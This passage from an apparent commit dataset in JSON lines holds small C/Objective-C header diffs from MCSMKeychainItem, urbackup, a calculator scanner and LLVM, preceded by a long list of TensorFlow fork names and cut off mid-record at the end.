flow,asimshankar\/tensorflow,laszlocsomor\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,benoitsteiner\/tensorflow-opencl,odejesush\/tensorflow,seanli9jan\/tensorflow,xodus7\/tensorflow,AndreasMadsen\/tensorflow,markslwong\/tensorflow,admcrae\/tensorflow,apark263\/tensorflow,code-sauce\/tensorflow,adamtiger\/tensorflow,xodus7\/tensorflow,strint\/tensorflow,jbedorf\/tensorflow,jbedorf\/tensorflow,theflofly\/tensorflow,Mazecreator\/tensorflow,karllessard\/tensorflow,aldian\/tensorflow,meteorcloudy\/tensorflow,abhitopia\/tensorflow,meteorcloudy\/tensorflow,DCSaunders\/tensorflow,nolanliou\/tensorflow,johndpope\/tensorflow,DavidNorman\/tensorflow,seanli9jan\/tensorflow,sandeepdsouza93\/TensorFlow-15712,Mistobaan\/tensorflow,sarvex\/tensorflow,wangyum\/tensorflow,hfp\/tensorflow-xsmm,whn09\/tensorflow,nanditav\/15712-TensorFlow,av8ramit\/tensorflow,martinwicke\/tensorflow,taknevski\/tensorflow-xsmm,nburn42\/tensorflow,ppwwyyxx\/tensorflow,manjunaths\/tensorflow,guschmue\/tensorflow,anilmuthineni\/tensorflow,asimshankar\/tensorflow,jhseu\/tensorflow,DavidNorman\/tensorflow,haeusser\/tensorflow,wangyum\/tensorflow,seaotterman\/tensorflow,jhaux\/tensorflow,Moriadry\/tensorflow,odejesush\/tensorflow,thesuperzapper\/tensorflow,suiyuan2009\/tensorflow,tornadozou\/tensorflow,ibmsoe\/tensorflow,krikru\/tensorflow-opencl,Mistobaan\/tensorflow,AndreasMadsen\/tensorflow,maciekcc\/tensorflow,admcrae\/tensorflow,mengxn\/tensorflow,ghchinoy\/tensorflow,lukeiwanski\/tensorflow-opencl,handroissuazo\/tensorflow,ZhangXinNan\/tensorflow,Intel-tensorflow\/tensorflow,annarev\/tensorflow,Moriadry\/tensorflow,jhaux\/tensorflow,handroissuazo\/tensorflow,krikru\/tensorflow-opencl,laszlocsomor\/tensorflow,laszlocsomor\/tensorflow,av8ramit\/tensorflow,aselle\/tensorflow,yongtang\/tensorflow,aam-at\/tensorflow,tntnatbry\/tensorflow,gautam1858\/tensorflow,davidzchen\/tensorflow,thjashin\/tensorflow,hfp\/tensorflow-xsmm,raymondxyang\/tensorflow,taknevski\/tensorflow-xsmm,laosiaudi\/tensorflow,freedomtan\/tensorflow,chemelnucfin\/tensorflow,jart\/tensorflow,ville-k\/tensorflow,dyoung418\/tensorflow,jbedorf\/tensorflow,andrewcmyers\/tensorflow,scenarios\/tensorflow,benoitsteiner\/tensorflow-opencl,rabipanda\/tensorflow,Bismarrck\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,av8ramit\/tensorflow,laosiaudi\/tensorflow,nolanliou\/tensorflow,mdrumond\/tensorflow,gautam1858\/tensorflow,xodus7\/tensorflow,ppwwyyxx\/tensorflow,Moriadry\/tensorflow,renyi533\/tensorflow,chenjun0210\/tensorflow,vrv\/tensorflow,Carmezim\/tensorflow,jendap\/tensorflow,MycChiu\/tensorflow,lakshayg\/tensorflow,brchiu\/tensorflow,LUTAN\/tensorflow,mortada\/tensorflow,gautam1858\/tensorflow,aam-at\/tensorflow,jwlawson\/tensorflow,sjperkins\/tensorflow,nikste\/tensorflow,benoitsteiner\/tensorflow-xsmm,gnieboer\/tensorflow,strint\/tensorflow,Kongsea\/tensorflow,manjunaths\/tensorflow,apark263\/tensorflow,dancingdan\/tensorflow,benoitsteiner\/tensorflow,Mazecreator\/tensorflow,jendap\/tensorflow,DCSaunders\/tensorflow,eerwitt\/tensorflow,Mistobaan\/tensorflow,caisq\/tensorflow,alisidd\/tensorflow,johndpope\/tensorflow,AnishShah\/tensorflow,nightjean\/Deep-Learning,horance-liu\/tensorflow,frreiss\/tensorflow-fred,brchiu\/tensorflow,tongwang01\/tensorflow,allenlavoie\/tensorflow,cxxgtxy\/tensorflow,Carmezim\/tensorflow,codrut3\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,haeusser\/tensorflow,DCSaunders\/tensorflow,alsrgv\/tensorflow,seanli9jan\/tensorflow,vrv\/tensorflow,Bismarrck\/tensorflow,JingJunYin\/tensorflow,JVillella\/tensorflow,mengxn\/tensorflow,LUTAN\/tensorflow,gojira\/tensorflow,yaroslavvb\/tensorflow,kevin-coder\/tensorflow-fork,DavidNorman\/tensorflow,meteorcloudy\/tensorflow,freedomtan\/tensorflow,johndpope\/tensorflow,alsrgv\/tensorflow,codrut3\/tensorflow,with-git\/tensorflow,alheinecke\/tensorflow-xsmm,frreiss\/tensorflow-fred,code-sauce\/tensorflow,girving\/tensorflow,gautam1858\/tensorflow,apark263\/tensorflow,andrewcmyers\/tensorflow,horance-liu\/tensorflow,tornadozou\/tensorflow,xodus7\/tensorflow,ychfan\/tensorflow,sandeepgupta2k4\/tensorflow,dancingdan\/tensorflow,pavelchristof\/gomoku-ai,tensorflow\/tensorflow-pywrap_saved_model,eaplatanios\/tensorflow,zycdragonball\/tensorflow,admcrae\/tensorflow,sarvex\/tensorflow,snnn\/tensorflow,gunan\/tensorflow,ran5515\/DeepDecision,sandeepgupta2k4\/tensorflow,drpngx\/tensorflow,pavelchristof\/gomoku-ai,LUTAN\/tensorflow,jalexvig\/tensorflow,Carmezim\/tensorflow,thjashin\/tensorflow,suiyuan2009\/tensorflow,zasdfgbnm\/tensorflow,alisidd\/tensorflow,sandeepgupta2k4\/tensorflow,jostep\/tensorflow,ville-k\/tensorflow,ZhangXinNan\/tensorflow,chemelnucfin\/tensorflow,sarvex\/tensorflow,ppwwyyxx\/tensorflow,theflofly\/tensorflow,sjperkins\/tensorflow,raymondxyang\/tensorflow,ppwwyyxx\/tensorflow,av8ramit\/tensorflow,mavenlin\/tensorflow,zasdfgbnm\/tensorflow,paolodedios\/tensorflow,drpngx\/tensorflow,meteorcloudy\/tensorflow,zasdfgbnm\/tensorflow,annarev\/tensorflow,elingg\/tensorflow,manipopopo\/tensorflow,nburn42\/tensorflow,alheinecke\/tensorflow-xsmm,zasdfgbnm\/tensorflow,asimshankar\/tensorflow,laosiaudi\/tensorflow,chris-chris\/tensorflow,eaplatanios\/tensorflow,memo\/tensorflow,alivecor\/tensorflow,mdrumond\/tensorflow,codrut3\/tensorflow,jeffzheng1\/tensorflow,karllessard\/tensorflow,code-sauce\/tensorflow,ville-k\/tensorflow,krikru\/tensorflow-opencl,kobejean\/tensorflow,manazhao\/tf_recsys,jendap\/tensorflow,kevin-coder\/tensorflow-fork,aam-at\/tensorflow,manipopopo\/tensorflow,seanli9jan\/tensorflow,sandeepdsouza93\/TensorFlow-15712,tensorflow\/tensorflow-pywrap_saved_model,zasdfgbnm\/tensorflow,freedomtan\/tensorflow,alheinecke\/tensorflow-xsmm,jalexvig\/tensorflow,gautam1858\/tensorflow,sarvex\/tensorflow,meteorcloudy\/tensorflow,andrewcmyers\/tensorflow,allenlavoie\/tensorflow,alsrgv\/tensorflow,mengxn\/tensorflow,jeffzheng1\/tensorflow,nanditav\/15712-TensorFlow,anilmuthineni\/tensorflow,gibiansky\/tensorflow,tornadozou\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,laosiaudi\/tensorflow,benoitsteiner\/tensorflow-opencl,tillahoffmann\/tensorflow,annarev\/tensorflow,sarvex\/tensorflow,alsrgv\/tensorflow,markslwong\/tensorflow,jhseu\/tensorflow,nightjean\/Deep-Learning,annarev\/tensorflow,sandeepdsouza93\/TensorFlow-15712,petewarden\/tensorflow,petewarden\/tensorflow,jbedorf\/tensorflow,kobejean\/tensorflow,thesuperzapper\/tensorflow,nikste\/tensorflow,calebfoss\/tensorflow,lakshayg\/tensorflow,odejesush\/tensorflow,Carmezim\/tensorflow,tensorflow\/tensorflow,ageron\/tensorflow,brchiu\/tensorflow,snnn\/tensorflow,dongjoon-hyun\/tensorflow,Bulochkin\/tensorflow_pack,frreiss\/tensorflow-fred,ppries\/tensorflow,benoitsteiner\/tensorflow-opencl,tillahoffmann\/tensorflow,mortada\/tensorflow,yaroslavvb\/tensorflow,annarev\/tensorflow,guschmue\/tensorflow,laszlocsomor\/tensorflow,DCSaunders\/tensorflow,alisidd\/tensorflow,sandeepdsouza93\/TensorFlow-15712,tensorflow\/tensorflow-pywrap_saved_model,chenjun0210\/tensorflow,Bulochkin\/tensorflow_pack,laszlocsomor\/tensorflow,nburn42\/tensorflow,petewarden\/tensorflow,ghchinoy\/tensorflow,JingJunYin\/tensorflow,nikste\/tensorflow,asadziach\/tensorflow,asadziach\/tensorflow,jeffzheng1\/tensorflow,ran5515\/DeepDecision,eadgarchen\/tensorflow,tongwang01\/tensorflow,haeusser\/tensorflow,nanditav\/15712-TensorFlow,horance-liu\/tensorflow,LUTAN\/tensorflow,AndreasMadsen\/tensorflow,jeffzheng1\/tensorflow,tensorflow\/tensorflow,rdipietro\/tensorflow,benoitsteiner\/tensorflow-opencl,nburn42\/tensorflow,SnakeJenny\/TensorFlow,Intel-Corporation\/tensorflow,paolodedios\/tensorflow,Bismarrck\/tensorflow,eadgarchen\/tensorflow,annarev\/tensorflow,theflofly\/tensorflow,calebfoss\/tensorflow,lukeiwanski\/tensorflow,manazhao\/tf_recsys,gautam1858\/tensorflow,gojira\/tensorflow,guschmue\/tensorflow,ageron\/tensorflow,tillahoffmann\/tensorflow,nolanliou\/tensorflow,chemelnucfin\/tensorflow,hehongliang\/tensorflow,alistairlow\/tensorflow,jalexvig\/tensorflow,mortada\/tensorflow,ville-k\/tensorflow,arborh\/tensorflow,snnn\/tensorflow,tillahoffmann\/tensorflow,nburn42\/tensorflow,kchodorow\/tensorflow,gnieboer\/tensorflow,rdipietro\/tensorflow,xzturn\/tensorflow,jeffzheng1\/tensorflow,jalexvig\/tensorflow,code-sauce\/tensorflow,alistairlow\/tensorflow,ZhangXinNan\/tensorflow,admcrae\/tensorflow,jendap\/tensorflow,cancan101\/tensorflow,pcm17\/tensorflow,alistairlow\/tensorflow,mavenlin\/tensorflow,ibmsoe\/tensorflow,alistairlow\/tensorflow,dyoung418\/tensorflow,adamtiger\/tensorflow,calebfoss\/tensorflow,hfp\/tensorflow-xsmm,ibmsoe\/tensorflow,tntnatbry\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,alivecor\/tensorflow,JingJunYin\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,lakshayg\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,pcm17\/tensorflow,chenjun0210\/tensorflow,MycChiu\/tensorflow,allenlavoie\/tensorflow,chenjun0210\/tensorflow,Mazecreator\/tensorflow,alshedivat\/tensorflow,jalexvig\/tensorflow,a-doumoulakis\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,memo\/tensorflow,eadgarchen\/tensorflow,markslwong\/tensorflow,JingJunYin\/tensorflow,whn09\/tensorflow,thjashin\/tensorflow,suiyuan2009\/tensorflow,unsiloai\/syntaxnet-ops-hack,chenjun0210\/tensorflow,dancingdan\/tensorflow,kevin-coder\/tensorflow-fork,haeusser\/tensorflow,asimshankar\/tensorflow,adamtiger\/tensorflow,meteorcloudy\/tensorflow,alisidd\/tensorflow,manipopopo\/tensorflow,bowang\/tensorflow,nightjean\/Deep-Learning,lukeiwanski\/tensorflow-opencl,paolodedios\/tensorflow,DavidNorman\/tensorflow,ageron\/tensorflow,thjashin\/tensorflow,tongwang01\/tensorflow,benoitsteiner\/tensorflow-xsmm,mavenlin\/tensorflow,jalexvig\/tensorflow,hsaputra\/tensorflow,asadziach\/tensorflow,davidzchen\/tensorflow,arborh\/tensorflow,calebfoss\/tensorflow,xodus7\/tensorflow,jart\/tensorflow,nolanliou\/tensorflow,adamtiger\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,nanditav\/15712-TensorFlow,davidzchen\/tensorflow,zycdragonball\/tensorflow,benoitsteiner\/tensorflow-xsmm,ibmsoe\/tensorflow,alsrgv\/tensorflow,RapidApplicationDevelopment\/tensorflow,benoitsteiner\/tensorflow-opencl,tensorflow\/tensorflow-pywrap_tf_optimizer,sandeepdsouza93\/TensorFlow-15712,apark263\/tensorflow,petewarden\/tensorflow,tiagofrepereira2012\/tensorflow,asadziach\/tensorflow,mortada\/tensorflow,tongwang01\/tensorflow,JVillella\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,aselle\/tensorflow,frreiss\/tensorflow-fred,kevin-coder\/tensorflow-fork,zycdragonball\/tensorflow,aam-at\/tensorflow,whn09\/tensorflow,DCSaunders\/tensorflow,maciekcc\/tensorflow,AndreasMadsen\/tensorflow,gautam1858\/tensorflow,llhe\/tensorflow,eaplatanios\/tensorflow,tongwang01\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,asimshankar\/tensorflow,cxxgtxy\/tensorflow,nburn42\/tensorflow,sarvex\/tensorflow,nightjean\/Deep-Learning,odejesush\/tensorflow,gojira\/tensorflow,zycdragonball\/tensorflow,theflofly\/tensorflow,calebfoss\/tensorflow,Xeralux\/tensorflow,nolanliou\/tensorflow,taknevski\/tensorflow-xsmm,rdipietro\/tensorflow,ran5515\/DeepDecision,unsiloai\/syntaxnet-ops-hack,petewarden\/tensorflow,strint\/tensorflow,odejesush\/tensorflow,aldian\/tensorflow,anilmuthineni\/tensorflow,mdrumond\/tensorflow,gibiansky\/tensorflow,whn09\/tensorflow,Carmezim\/tensorflow,seaotterman\/tensorflow,DavidNorman\/tensorflow,chris-chris\/tensorflow,LUTAN\/tensorflow,kchodorow\/tensorflow,DavidNorman\/tensorflow,hehongliang\/tensorflow,mavenlin\/tensorflow,apark263\/tensorflow,xodus7\/tensorflow,tensorflow\/tensorflow,hehongliang\/tensorflow,jhaux\/tensorflow,frreiss\/tensorflow-fred,MycChiu\/tensorflow,gibiansky\/tensorflow,alistairlow\/tensorflow,gibiansky\/tensorflow,wangyum\/tensorflow,benoitsteiner\/tensorflow,AndreasMadsen\/tensorflow,adit-chandra\/tensorflow,rabipanda\/tensorflow,jendap\/tensorflow,JingJunYin\/tensorflow,code-sauce\/tensorflow,alisidd\/tensorflow,JVillella\/tensorflow,andrewcmyers\/tensorflow,arborh\/tensorflow,a-doumoulakis\/tensorflow,asimshankar\/tensorflow,Intel-tensorflow\/tensorflow,ageron\/tensorflow,caisq\/tensorflow,hehongliang\/tensorflow,abhitopia\/tensorflow,eerwitt\/tensorflow,Mistobaan\/tensorflow,ychfan\/tensorflow,Intel-Corporation\/tensorflow,gnieboer\/tensorflow,petewarden\/tensorflow,lukeiwanski\/tensorflow,kobejean\/tensorflow,alivecor\/tensorflow,handroissuazo\/tensorflow,yongtang\/tensorflow,asimshankar\/tensorflow,ageron\/tensorflow,mengxn\/tensorflow,kobejean\/tensorflow,asadziach\/tensorflow,tillahoffmann\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,thjashin\/tensorflow,chris-chris\/tensorflow,benoitsteiner\/tensorflow-opencl,kchodorow\/tensorflow,johndpope\/tensorflow,tiagofrepereira2012\/tensorflow,lukeiwanski\/tensorflow,RapidApplicationDevelopment\/tensorflow,jostep\/tensorflow,karllessard\/tensorflow,theflofly\/tensorflow,manazhao\/tf_recsys,tensorflow\/tensorflow-pywrap_tf_optimizer,jart\/tensorflow,ZhangXinNan\/tensorflow,paolodedios\/tensorflow,zycdragonball\/tensorflow,rabipanda\/tensorflow,Bulochkin\/tensorflow_pack,gunan\/tensorflow,dancingdan\/tensorflow,kevin-coder\/tensorflow-fork,markslwong\/tensorflow,thesuperzapper\/tensorflow,manipopopo\/tensorflow,hfp\/tensorflow-xsmm,Xeralux\/tensorflow,tomasreimers\/tensorflow-emscripten,allenlavoie\/tensorflow,kchodorow\/tensorflow,sarvex\/tensorflow,adit-chandra\/tensorflow,cxxgtxy\/tensorflow,sjperkins\/tensorflow,jbedorf\/tensorflow,theflofly\/tensorflow,seanli9jan\/tensorflow,Intel-tensorflow\/tensorflow,code-sauce\/tensorflow,yanchen036\/tensorflow,scenarios\/tensorflow,tensorflow\/tensorflow,paolodedios\/tensorflow,yufengg\/tensorflow,tomasreimers\/tensorflow-emscripten,memo\/tensorflow,chris-chris\/tensorflow,lukeiwanski\/tensorflow-opencl,rdipietro\/tensorflow,memo\/tensorflow,rabipanda\/tensorflow,ishay2b\/tensorflow,dyoung418\/tensorflow,snnn\/tensorflow,elingg\/tensorflow,nikste\/tensorflow,laosiaudi\/tensorflow,ghchinoy\/tensorflow,snnn\/tensorflow,ran5515\/DeepDecision,seaotterman\/tensorflow,taknevski\/tensorflow-xsmm,anilmuthineni\/tensorflow,AnishShah\/tensorflow,hfp\/tensorflow-xsmm,asimshankar\/tensorflow,adit-chandra\/tensorflow,SnakeJenny\/TensorFlow,allenlavoie\/tensorflow,llhe\/tensorflow,gnieboer\/tensorflow,johndpope\/tensorflow,MycChiu\/tensorflow,aselle\/tensorflow,petewarden\/tensorflow,manjunaths\/tensorflow,Bismarrck\/tensorflow,seaotterman\/tensorflow,sarvex\/tensorflow,renyi533\/tensorflow,memo\/tensorflow,kchodorow\/tensorflow,ppries\/tensorflow,horance-liu\/tensorflow,tomasreimers\/tensorflow-emscripten,chenjun0210\/tensorflow,eaplatanios\/tensorflow,gibiansky\/tensorflow,freedomtan\/tensorflow,raymondxyang\/tensorflow,lukeiwanski\/tensorflow,Mistobaan\/tensorflow,Xeralux\/tensorflow,dendisuhubdy\/tensorflow,dancingdan\/tensorflow,eaplatanios\/tensorflow,renyi533\/tensorflow,alheinecke\/tensorflow-xsmm,raymondxyang\/tensorflow,chenjun0210\/tensorflow,davidzchen\/tensorflow,admcrae\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-experimental_link_static_libraries_once,unsiloai\/syntaxnet-ops-hack,Xeralux\/tensorflow,HKUST-SING\/tensorflow,benoitsteiner\/tensorflow-opencl,paolodedios\/tensorflow,mavenlin\/tensorflow,alheinecke\/tensorflow-xsmm,Carmezim\/tensorflow,tomasreimers\/tensorflow-emscripten,manipopopo\/tensorflow,ppries\/tensorflow,yanchen036\/tensorflow,llhe\/tensorflow,dancingdan\/tensorflow,handroissuazo\/tensorflow,AnishShah\/tensorflow,manjunaths\/tensorflow,freedomtan\/tensorflow,hfp\/tensorflow-xsmm,allenlavoie\/tensorflow,gnieboer\/tensorflow,Mistobaan\/tensorflow,RapidApplicationDevelopment\/tensorflow,snnn\/tensorflow,hsaputra\/tensorflow,ravindrapanda\/tensorflow,asadziach\/tensorflow,paolodedios\/tensorflow,eerwitt\/tensorflow,ppwwyyxx\/tensorflow,kobejean\/tensorflow,gautam1858\/tensorflow,Bulochkin\/tensorflow_pack,chris-chris\/tensorflow,sjperkins\/tensorflow,av8ramit\/tensorflow,yufengg\/tensorflow,tiagofrepereira2012\/tensorflow,a-doumoulakis\/tensorflow,HKUST-SING\/tensorflow,ishay2b\/tensorflow,davidzchen\/tensorflow,ghchinoy\/tensorflow,Bulochkin\/tensorflow_pack,Intel-Corporation\/tensorflow,jeffzheng1\/tensorflow,code-sauce\/tensorflow,RapidApplicationDevelopment\/tensorflow,yongtang\/tensorflow,andrewcmyers\/tensorflow,ArtsiomCh\/tensorflow,snnn\/tensorflow,gautam1858\/tensorflow,girving\/tensorflow,laszlocsomor\/tensorflow,wangyum\/tensorflow,yongtang\/tensorflow,hsaputra\/tensorflow,suiyuan2009\/tensorflow,pavelchristof\/gomoku-ai,ageron\/tensorflow,alheinecke\/tensorflow-xsmm,tensorflow\/tensorflow-pywrap_tf_optimizer,mixturemodel-flow\/tensorflow,karllessard\/tensorflow,strint\/tensorflow,Kongsea\/tensorflow,jhseu\/tensorflow,suiyuan2009\/tensorflow,karllessard\/tensorflow,sandeepgupta2k4\/tensorflow,kevin-coder\/tensorflow-fork,thesuperzapper\/tensorflow,jwlawson\/tensorflow,chris-chris\/tensorflow,cancan101\/tensorflow,benoitsteiner\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,seanli9jan\/tensorflow,drpngx\/tensorflow,karllessard\/tensorflow,Mistobaan\/tensorflow,dendisuhubdy\/tensorflow,Carmezim\/tensorflow,cancan101\/tensorflow,MycChiu\/tensorflow,tensorflow\/tensorflow,martinwicke\/tensorflow,caisq\/tensorflow,LUTAN\/tensorflow,drpngx\/tensorflow,dongjoon-hyun\/tensorflow,alivecor\/tensorflow,scenarios\/tensorflow,mixturemodel-flow\/tensorflow,asadziach\/tensorflow,alistairlow\/tensorflow,petewarden\/tensorflow,mdrumond\/tensorflow,pcm17\/tensorflow,unsiloai\/syntaxnet-ops-hack,gunan\/tensorflow,vrv\/tensorflow,Bulochkin\/tensorflow_pack,alistairlow\/tensorflow,a-doumoulakis\/tensorflow,odejesush\/tensorflow,jostep\/tensorflow,JingJunYin\/tensorflow,tillahoffmann\/tensorflow,llhe\/tensorflow,guschmue\/tensorflow,JingJunYin\/tensorflow,vrv\/tensorflow,kobejean\/tensorflow,Bismarrck\/tensorflow,snnn\/tensorflow,xodus7\/tensorflow,meteorcloudy\/tensorflow,a-doumoulakis\/tensorflow,JingJunYin\/tensorflow,ageron\/tensorflow,caisq\/tensorflow,haeusser\/tensorflow,theflofly\/tensorflow,arborh\/tensorflow,eaplatanios\/tensorflow,krikru\/tensorflow-opencl,yufengg\/tensorflow,thjashin\/tensorflow,seaotterman\/tensorflow,laszlocsomor\/tensorflow,strint\/tensorflow,Kongsea\/tensorflow,scenarios\/tensorflow,ArtsiomCh\/tensorflow,ageron\/tensorflow,thesuperzapper\/tensorflow,tensorflow\/tensorflow,zasdfgbnm\/tensorflow,laosiaudi\/tensorflow,av8ramit\/tensorflow,guschmue\/tensorflow,llhe\/tensorflow,cancan101\/tensorflow,elingg\/tensorflow,guschmue\/tensorflow,jbedorf\/tensorflow,haeusser\/tensorflow,tntnatbry\/tensorflow,theflofly\/tensorflow,codrut3\/tensorflow,ageron\/tensorflow,bowang\/tensorflow,xzturn\/tensorflow,raymondxyang\/tensorflow,martinwicke\/tensorflow,bowang\/tensorflow,girving\/tensorflow,guschmue\/tensorflow,girving\/tensorflow,memo\/tensorflow,sandeepgupta2k4\/tensorflow,meteorcloudy\/tensorflow,ppries\/tensorflow,JVillella\/tensorflow,markslwong\/tensorflow,whn09\/tensorflow,adit-chandra\/tensorflow,gibiansky\/tensorflow,ppwwyyxx\/tensorflow,suiyuan2009\/tensorflow,frreiss\/tensorflow-fred,adamtiger\/tensorflow,benoitsteiner\/tensorflow-xsmm,jwlawson\/tensorflow,with-git\/tensorflow,freedomtan\/tensorflow,jendap\/tensorflow,ville-k\/tensorflow,odejesush\/tensorflow,hsaputra\/tensorflow,jostep\/tensorflow,rabipanda\/tensorflow,ravindrapanda\/tensorflow,aam-at\/tensorflow,hehongliang\/tensorflow,dendisuhubdy\/tensorflow,aam-at\/tensorflow,SnakeJenny\/TensorFlow,xzturn\/tensorflow,memo\/tensorflow,scenarios\/tensorflow"}
{"commit":"b8cfdf3f2e53241c12ef7adb49006e526ada3f37","old_file":"MCSMKeychainItem.h","new_file":"MCSMKeychainItem.h","old_contents":"\/\/\n\/\/  MCSMKeychainItem.h\n\/\/  MCSMFoundation\n\/\/\n\/\/  Created by Spencer MacDonald on 12\/10\/2011.\n\/\/  Copyright 2012 Square Bracket Software. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#if TARGET_OS_MAC && !TARGET_IPHONE_SIMULATOR\n#import <Carbon\/Carbon.h>\n#endif\n#import <Security\/Security.h>\n\n\n@interface MCSMKeychainItem : NSObject\n\n#if TARGET_OS_MAC && !TARGET_IPHONE_SIMULATOR\n\n+ (void)lockKeychain;\n+ (void)unlockKeychain;\n\n#endif\n\n@property (readonly, copy) NSString *username;\n@property (readonly, copy) NSString *password;\n\n- (BOOL)removeFromKeychain;\n\n@end \n\n\n@interface MCSMGenericKeychainItem : MCSMKeychainItem\n\n@property (readonly, copy) NSString *service;\n\n+ (MCSMGenericKeychainItem *)genericKeychainItemForService:(NSString *)service\n                                                  username:(NSString *)username;\n\n+ (MCSMGenericKeychainItem *)genericKeychainItemWithService:(NSString *)service\n                                                   username:(NSString *)username\n                                                   password:(NSString *)password;\n@end","new_contents":"\/\/\n\/\/  MCSMKeychainItem.h\n\/\/  MCSMFoundation\n\/\/\n\/\/  Created by Spencer MacDonald on 12\/10\/2011.\n\/\/  Copyright 2012 Square Bracket Software. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <Security\/Security.h>\n\n\n@interface MCSMKeychainItem : NSObject\n\n#if TARGET_OS_MAC && !TARGET_IPHONE_SIMULATOR\n\n+ (void)lockKeychain;\n+ (void)unlockKeychain;\n\n#endif\n\n@property (readonly, copy) NSString *username;\n@property (readonly, copy) NSString *password;\n\n- (BOOL)removeFromKeychain;\n\n@end \n\n\n@interface MCSMGenericKeychainItem : MCSMKeychainItem\n\n@property (readonly, copy) NSString *service;\n\n+ (MCSMGenericKeychainItem *)genericKeychainItemForService:(NSString *)service\n                                                  username:(NSString *)username;\n\n+ (MCSMGenericKeychainItem *)genericKeychainItemWithService:(NSString *)service\n                                                   username:(NSString *)username\n                                                   password:(NSString *)password;\n@end","subject":"Remove the need for the Carbon Framework on OS X","message":"Remove the need for the Carbon Framework on OS X\n\nThe Carbon Framework was left in the header from previous versions.\n","lang":"C","license":"bsd-3-clause","repos":"ObjColumnist\/MCSMKeychainItem"}
{"commit":"f9f554b9710c0f5dfd758071d4a6272c2274add4","old_file":"urbackupserver\/server_ping.h","new_file":"urbackupserver\/server_ping.h","old_contents":"#include \"..\/Interface\/Thread.h\"\r\n#include \"..\/Interface\/Mutex.h\"\r\n\r\nclass ClientMain;\r\nstruct SProcess;\r\n\r\nclass ServerPingThread : public IThread\r\n{\r\npublic:\r\n\tServerPingThread(ClientMain *client_main, const std::string& clientname,\r\n\t\tsize_t status_id, bool with_eta, std::string server_token);\r\n\tvoid operator()(void);\r\n\tvoid setStop(bool b);\r\n\r\n\tbool isTimeout(void);\r\n\r\nprivate:\r\n\tvoid setPaused(SProcess* proc, bool b);\r\n\tClientMain *client_main;\r\n\tvolatile bool stop;\r\n\tvolatile bool is_timeout;\r\n\tbool with_eta;\r\n\tconst std::string& clientname;\r\n\tsize_t status_id;\r\n\tstd::string server_token;\r\n};","new_contents":"#include \"..\/Interface\/Thread.h\"\r\n#include \"..\/Interface\/Mutex.h\"\r\n\r\nclass ClientMain;\r\nstruct SProcess;\r\n\r\nclass ServerPingThread : public IThread\r\n{\r\npublic:\r\n\tServerPingThread(ClientMain *client_main, const std::string& clientname,\r\n\t\tsize_t status_id, bool with_eta, std::string server_token);\r\n\tvoid operator()(void);\r\n\tvoid setStop(bool b);\r\n\r\n\tbool isTimeout(void);\r\n\r\nprivate:\r\n\tvoid setPaused(SProcess* proc, bool b);\r\n\tClientMain *client_main;\r\n\tvolatile bool stop;\r\n\tvolatile bool is_timeout;\r\n\tbool with_eta;\r\n\tstd::string clientname;\r\n\tsize_t status_id;\r\n\tstd::string server_token;\r\n};","subject":"Copy clientname instead of reference","message":"Copy clientname instead of reference\n","lang":"C","license":"agpl-3.0","repos":"uroni\/urbackup_backend,uroni\/urbackup_backend,uroni\/urbackup_backend,uroni\/urbackup_backend,uroni\/urbackup_backend,uroni\/urbackup_backend,uroni\/urbackup_backend"}
{"commit":"1213144d03d3bc69979ea50b32979ddd2b7f8dd2","old_file":"scanner.def.h","new_file":"scanner.def.h","old_contents":"#ifndef CALC_SCANNER_DEF_H_\n#define CALC_SCANNER_DEF_H_\n\ntypedef union {\n    int int_value;\n} YYSTYPE;\n\ntypedef struct {\n\tint function;\n    int result;\n\tYYSTYPE lhs;\n\tYYSTYPE rhs;\n} BinaryFunction;\n\nclass ParserState {\npublic:\n    int result;\n\tint eval;\n    ParserState() : result(0) {\n    }\n};\n\n#endif \/\/ CALC_SCANNER_DEF_H_\n","new_contents":"#ifndef CALC_SCANNER_DEF_H_\n#define CALC_SCANNER_DEF_H_\n\ntypedef union {\n    int int_value;\n} YYSTYPE;\n\nclass ParserState {\npublic:\n    int result;\n\tint eval;\n    ParserState() : result(0) {\n    }\n};\n\n#endif \/\/ CALC_SCANNER_DEF_H_\n","subject":"Remove silly struct that's silly","message":"Remove silly struct that's silly\n","lang":"C","license":"mit","repos":"nic0lette\/lemony,nic0lette\/lemony,nic0lette\/lemony"}
{"commit":"a8a06367f849d7742c7dace0fa2d4a395b513a43","old_file":"include\/llvm\/Transforms\/Utils\/FunctionUtils.h","new_file":"include\/llvm\/Transforms\/Utils\/FunctionUtils.h","old_contents":"\/\/===-- Transform\/Utils\/FunctionUtils.h - Function Utils --------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This family of functions perform manipulations on functions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_UTILS_FUNCTION_H\n#define LLVM_TRANSFORMS_UTILS_FUNCTION_H\n\nnamespace llvm {\n\nclass Function;\nclass Loop;\n\n\/\/\/ ExtractLoop - rip out a natural loop into a new function\n\/\/\/\nFunction* ExtractLoop(Loop *L);\n\n}\n\n#endif\n","new_contents":"\/\/===-- Transform\/Utils\/FunctionUtils.h - Function Utils --------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This family of functions perform manipulations on 